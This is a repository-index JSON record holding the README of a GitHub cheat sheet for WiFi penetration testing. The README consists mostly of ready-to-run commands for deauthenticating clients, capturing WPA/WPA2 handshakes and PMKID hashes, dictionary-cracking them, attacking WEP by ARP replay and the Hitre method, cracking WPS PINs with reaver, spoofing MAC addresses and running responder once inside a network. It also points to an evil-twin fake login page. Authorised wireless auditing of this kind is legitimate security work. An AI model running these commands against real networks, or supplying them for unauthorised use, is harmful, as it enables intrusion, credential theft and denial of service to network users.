{"id":15374434,"url":"https://github.com/ivan-sincek/wifi-penetration-testing-cheat-sheet","last_synced_at":"2026-01-07T00:36:28.557Z","repository":{"id":107019573,"uuid":"320850273","full_name":"ivan-sincek/wifi-penetration-testing-cheat-sheet","owner":"ivan-sincek","description":"Work in progress...","archived":false,"fork":false,"pushed_at":"2024-09-20T15:43:40.000Z","size":4,"stargazers_count":473,"open_issues_count":0,"forks_count":83,"subscribers_count":14,"default_branch":"main","last_synced_at":"2025-02-02T00:27:34.034Z","etag":null,"topics":["aircrack-ng","bug-bounty","ethical-hacking","evil-twin","offensive-security","penetration-testing","red-team-engagement","security","wifi","wifi-penetration-testing","wifi-pineapple"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ivan-sincek.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-12-12T14:33:21.000Z","updated_at":"2025-01-29T11:07:32.000Z","dependencies_parsed_at":"2024-10-16T14:01:03.072Z","dependency_job_id":"ab05379f-140a-4b3b-9f30-562144696237","html_url":"https://github.com/ivan-sincek/wifi-penetration-testing-cheat-sheet","commit_stats":{"total_commits":1,"total_committers":1,"mean_commits":1.0,"dds":0.0,"last_synced_commit":"150f5918db2e499a744e65b3f305d3bbcaae2dd7"},"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ivan-sincek%2Fwifi-penetration-testing-cheat-sheet","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ivan-sincek%2Fwifi-penetration-testing-cheat-sheet/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ivan-sincek%2Fwifi-penetration-testing-cheat-sheet/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ivan-sincek%2Fwifi-penetration-testing-cheat-sheet/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ivan-sincek","download_url":"https://codeload.github.com/ivan-sincek/wifi-penetration-testing-cheat-sheet/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":245931894,"owners_count":20695964,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["aircrack-ng","bug-bounty","ethical-hacking","evil-twin","offensive-security","penetration-testing","red-team-engagement","security","wifi","wifi-penetration-testing","wifi-pineapple"],"created_at":"2024-10-01T13:58:46.763Z","updated_at":"2026-01-07T00:36:28.517Z","avatar_url":"https://github.com/ivan-sincek.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# WiFi Penetration Testing Cheat Sheet\n\nThis is more of a checklist for myself. May contain useful tips and tricks.\n\nEverything was tested on Kali Linux v2021.4 (64-bit) and WiFi Pineapple Mark VII Basic with the firmware v1.0.2.\n\nEverything was tested on Kali Linux v2021.4 (64-bit) and WiFi Pineapple NANO with the firmware v2.7.0.\n\nFor help with any of the tools type `\u003ctool_name\u003e [-h | -hh | --help]` or `man \u003ctool_name\u003e`.\n\nSometimes `-h` can be mistaken for a host or some other option. If that's the case, use `-hh` or `--help` instead, or read the manual with `man`.\n\nWebsites that you should use while writing the report:\n\n* [cwe.mitre.org/data](https://cwe.mitre.org/data)\n* [owasp.org/projects](https://owasp.org/projects)\n* [cheatsheetseries.owasp.org](https://cheatsheetseries.owasp.org/Glossary.html)\n* [first.org/cvss/calculator/4.0](https://www.first.org/cvss/calculator/4.0)\n* [nvd.nist.gov/vuln-metrics/cvss/v3-calculator](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)\n* [nvd.nist.gov/ncp/repository](https://nvd.nist.gov/ncp/repository)\n* [attack.mitre.org](https://attack.mitre.org)\n\nCheck the most popular tool for auditing wireless networks [v1s1t0r1sh3r3/airgeddon](https://github.com/v1s1t0r1sh3r3/airgeddon). Credits to the author!\n\nFuture plans:\n\n* fake AP with RADIUS to crack the WPA2 Enterprise authentication.\n\nMy other cheat sheets:\n\n* [Penetration Testing Cheat Sheet](https://github.com/ivan-sincek/penetration-testing-cheat-sheet)\n* [iOS Penetration Testing Cheat Sheet](https://github.com/ivan-sincek/ios-penetration-testing-cheat-sheet)\n* [Android Testing Cheat Sheet](https://github.com/ivan-sincek/android-penetration-testing-cheat-sheet)\n\n## Table of Contents\n\n**1. [Configuration](#1-configuration)**\n\n**2. [Monitoring](#2-monitoring)**\n\n**3. [Cracking](#3-cracking)**\n\n* [WPA/WPA2 Handshake](#wpawpa2-handshake) (WPA/WPA2)\n* [PMKID Attack](#pmkid-attack) (WPA/WPA2)\n* [ARP Request Replay Attack](#arp-request-replay-attack) (WEP)\n* [Hitre Attack](#hitre-attack) (WEP)\n* [WPS PIN](#wps-pin)\n\n**4. [Wordlists](#4-wordlists)**\n\n**5. [Post-Exploitation](#5-post-exploitation)**\n\n**6. [Evil-Twin](#6-evil-twin)**\n\n## 1. Configuration\n\nView the configuration of network interfaces:\n\n```bash\nifconfig \u0026\u0026 iwconfig \u0026\u0026 airmon-ng\n```\n\nTurn a network interface on/off:\n\n```fundamental\nifconfig wlan0 up\n\nifconfig wlan0 down\n```\n\nRestart the network manager:\n\n```fundamental\nservice NetworkManager restart\n```\n\nCheck the WLAN regulatory domain:\n\n```fundamental\niw reg get\n```\n\nSet the WLAN regulatory domain:\n\n```fundamental\niw reg set HR\n```\n\nTurn the power of a wireless interface up/down (too high can be illegal in some countries):\n\n```fundamental\niwconfig wlan0 txpower 40\n```\n\n## 2. Monitoring\n\nSet a wireless network interface to the monitoring mode:\n\n```bash\nairmon-ng start wlan0\n\nifconfig wlan0 down \u0026\u0026 iwconfig wlan0 mode monitor \u0026\u0026 ifconfig wlan0 up\n```\n\nSet a wireless network interface to the monitoring mode on a specified channel:\n\n```fundamental\nairmon-ng start wlan0 8\n\niwconfig wlan0 channel 8\n```\n\n\\[Optional\\] Kill services that might interfere with wireless network interfaces in the monitoring mode:\n\n```fundamental\nairmon-ng check kill\n```\n\nSet a wireless network interface back to the managed mode:\n\n```bash\nairmon-ng stop wlan0mon\n\nifconfig wlan0 down \u0026\u0026 iwconfig wlan0 mode managed \u0026\u0026 ifconfig wlan0 up\n```\n\nSearch for WiFi networks within your range:\n\n```fundamental\nairodump-ng --wps -w airodump_sweep_results wlan0mon\n\nwash -a -i wlan0mon\n```\n\n\\[Optional\\] Install `reaver/wash` on WiFi Pineapple Mark VII:\n\n```bash\nopkg update \u0026\u0026 opkg install libpcap reaver\n```\n\n\\[Optional\\] Install `reaver/wash` on WiFi Pineapple Nano:\n\n```bash\nopkg update \u0026\u0026 opkg install libpcap \u0026\u0026 opkg -d sd install wash\n```\n\nMonitor a WiFi network to capture handshakes/requests:\n\n```fundamental\nairodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid FF:FF:FF:FF:FF:FF\n```\n\nIf you specified the output file, don't forget to stop `airodump-ng` after you are done monitoring because it will fill up all your free storage space with a large PCAP file.\n\nUse [Kismet](https://github.com/ivan-sincek/evil-twin#additional-kismet) or WiFi Pineapple to find more information about wireless access points, e.g. their MAC address, vendor's name, etc.\n\n## 3. Cracking\n\nCheck if a wireless interface supports packet injection:\n\n```fundamental\naireplay-ng --test wlan1 -e essid -a FF:FF:FF:FF:FF:FF\n```\n\n### WPA/WPA2 Handshake\n\nMonitor a WiFi network to capture a WPA/WPA2 4-way handshake:\n\n```fundamental\nairodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid FF:FF:FF:FF:FF:FF\n```\n\n\\[Optional\\] Deauthenticate clients from a WiFi network:\n\n```fundamental\naireplay-ng --deauth 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF\n```\n\nStart the dictionary attack against a WPA/WPA2 handshake:\n\n```fundamental\naircrack-ng -e essid -b FF:FF:FF:FF:FF:FF -w rockyou.txt airodump_essid_results*.cap\n```\n\n### PMKID Attack\n\nCrack the WPA/WPA2 authentication without deauthenticating clients.\n\nInstall required tools on Kali Linux:\n\n```bash\napt-get update \u0026\u0026 apt-get -y install hcxtools\n```\n\n\\[Optional\\] Install required tool on WiFi Pineapple Mark VII:\n\n```bash\nopkg update \u0026\u0026 opkg install hcxdumptool\n```\n\n\\[Optional\\] Install required tool on WiFi Pineapple Nano:\n\n```bash\nopkg update \u0026\u0026 opkg -d sd install hcxdumptool\n```\n\nStart capturing PMKID hashes for all nearby networks:\n\n```fundamental\nhcxdumptool --enable_status=1 -o hcxdumptool_results.cap -i wlan0mon\n```\n\n\\[Optional\\] Start capturing PMKID hashes for specified WiFi networks:\n\n```bash\necho HH:HH:HH:HH:HH:HH | sed 's/\\://g' \u003e\u003e filter.txt\n\nhcxdumptool --enable_status=1 -o hcxdumptool_results.cap -i wlan0mon --filterlist_ap=filter.txt --filtermode=2\n```\n\nSometimes it can take hours to capture a single PMKID hash.\n\nExtract PMKID hashes from a PCAP file:\n\n```fundamental\nhcxpcaptool hcxdumptool_results.cap -k hashes.txt\n```\n\nStart the dictionary attack against PMKID hashes:\n\n```fundamental\nhashcat -m 16800 -a 0 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt rockyou.txt\n```\n\nFind out more about Hashcat from my other [project](https://github.com/ivan-sincek/penetration-testing-cheat-sheet#hashcat).\n\n### ARP Request Replay Attack\n\nIf target WiFi network is not busy, it can take days to capture enough IVs to crack the WEP authentication.\n\nDo the fake authentication to a WiFi network with non-existing MAC address and keep the connection alive:\n\n```fundamental\naireplay-ng --fakeauth 6000 -o 1 -q 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF -h FF:FF:FF:FF:FF:FF\n```\n\nIf MAC address filtering is active, do the fake authentication to a WiFi network with an existing MAC address:\n\n```fundamental\naireplay-ng --fakeauth 0 wlan1 -e essid -a FF:FF:FF:FF:FF:FF -h FF:FF:FF:FF:FF:FF\n```\n\nTo monitor the number of captured IVs, run `airodump-ng` against a WiFi network and watch the `#Data` column (try to capture around 100k IVs):\n\n```fundamental\nairodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid FF:FF:FF:FF:FF:FF\n```\n\nStart the standard ARP request replaying against a WiFi network:\n\n```fundamental\naireplay-ng --arpreplay wlan1 -e essid -a FF:FF:FF:FF:FF:FF -h FF:FF:FF:FF:FF:FF\n```\n\n\\[Optional\\] Deauthenticate clients from a WiFi network:\n\n```fundamental\naireplay-ng --deauth 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF\n```\n\nCrack the WEP authentication:\n\n```fundamental\naircrack-ng -e essid -b FF:FF:FF:FF:FF:FF replay_arp*.cap\n```\n\n### Hitre Attack\n\nThis attack targets clients, not wireless access points. You must know the SSIDs of your target's WiFi networks.\n\n\\[Optional\\] Set up a fake WEP WiFi network if the real one is not present:\n\n```fundamental\nairbase-ng -W 1 -N wlan0mon -c 8 --essid essid -a FF:FF:FF:FF:FF:FF\n```\n\nIf needed, turn up the power of a wireless network interface to missassociate clients to the fake WiFi network, see how in section [1. Configuration](#1-configuration).\n\nMonitor the real/fake WiFi network to capture handshakes/requests:\n\n```fundamental\nairodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid FF:FF:FF:FF:FF:FF\n```\n\nStart replaying packets to clients within your range:\n\n```fundamental\naireplay-ng --cfrag -D wlan1 -e essid -h FF:FF:FF:FF:FF:FF\n```\n\n\\[Optional\\] Deauthenticate clients from the real/fake WiFi network:\n\n```fundamental\naireplay-ng --deauth 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF\n```\n\nCrack the WEP authentication:\n\n```fundamental\naircrack-ng -e essid -b FF:FF:FF:FF:FF:FF airodump_essid_results*.cap\n```\n\n### WPS PIN\n\nCrack a WPS PIN:\n\n```fundamental\nreaver -vv --pixie-dust -i wlan1 -c 8 -e essid -b FF:FF:FF:FF:FF:FF\n```\n\nCrack a WPS PIN with some delay between attempts:\n\n```fundamental\nreaver -vv --pixie-dust -N -L -d 5 -r 3:15 -T 0.5 -i wlan1 -c 8 -e essid -b FF:FF:FF:FF:FF:FF\n```\n\n## 4. Wordlists\n\nYou can find `rockyou.txt` inside `/usr/share/wordlists/` directory or inside [SecLists](https://github.com/danielmiessler/SecLists) - a useful collection of multiple types of wordlists for security assessments.\n\nInstall SecLists (the collection will be stored at `/usr/share/seclists/` directory):\n\n```bash\napt-get update \u0026\u0026 apt-get install seclists\n```\n\nAnother popular wordlist collections:\n\n* [xmendez/wfuzz](https://github.com/xmendez/wfuzz)\n* [assetnote/commonspeak2-wordlists](https://github.com/assetnote/commonspeak2-wordlists)\n* [weakpass.com/wordlist](https://weakpass.com/wordlist)\n* [packetstormsecurity.com/Crackers/wordlists](https://packetstormsecurity.com/Crackers/wordlists)\n\n### Password Spraying\n\nFind out how to generate a good password spraying wordlist from my other [project](https://github.com/ivan-sincek/wordlist-extender), but first you will need a few good keywords that describe your target.\n\nSuch keywords can be a company name, abbreviations, words that describe your target's services, products, etc.\n\nAfter you generate the wordlist, use it with `aircrack-ng` to crack a WPA/WPA2 handshake.\n\nIf strong password policy is enforced, passwords usually start with one capitalized word followed by a few digits and one special character at the end (e.g. Password123!).\n\nYou can also use the generated wordlist with [Hashcat](https://github.com/ivan-sincek/penetration-testing-cheat-sheet#hashcat), e.g. to crack NTLMv2 hashes that you have collected using LLMNR responder, etc.\n\n## 5. Post-Exploitation\n\nIf MAC address filtering is active, change the MAC address of a wireless interface to an existing one:\n\n```fundamental\nifconfig wlan0 down \u0026\u0026 macchanger --mac FF:FF:FF:FF:FF:FF \u0026\u0026 ifconfig wlan0 up\n```\n\nOnce you get an access to a WiFi network, run the following tools:\n\n```fundamental\nyersinia -G\n\nresponder -wF -i 192.168.8.5\n\nwireshark\n```\n\nFind out how to pipe `tcpdump` from WiFi Pineapple to Wireshark from my other [poject](https://github.com/ivan-sincek/evil-twin#additional-sniff-wifi-network-traffic).\n\nTry to access the wireless access point's web interface. Search the Internet for default paths and credentials.\n\nStart scanning/enumerating the network.\n\n## 6. Evil-Twin\n\nFind out how to set up a fake authentication web page on a fake WiFi network with WiFi Pineapple Mark VII Basic from my other [project](https://github.com/ivan-sincek/evil-twin), as well as how to set up all the tools from this cheat sheet.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fivan-sincek%2Fwifi-penetration-testing-cheat-sheet","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fivan-sincek%2Fwifi-penetration-testing-cheat-sheet","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fivan-sincek%2Fwifi-penetration-testing-cheat-sheet/lists"}